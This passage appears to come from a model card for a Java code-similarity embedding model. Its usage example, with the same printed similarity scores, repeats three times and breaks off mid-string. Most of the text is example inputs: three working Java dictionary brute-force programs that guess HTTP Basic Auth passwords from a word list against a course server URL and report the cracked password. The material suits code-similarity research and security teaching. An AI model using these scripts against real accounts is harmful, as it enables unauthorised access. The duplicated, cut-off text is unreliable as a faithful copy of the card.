getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    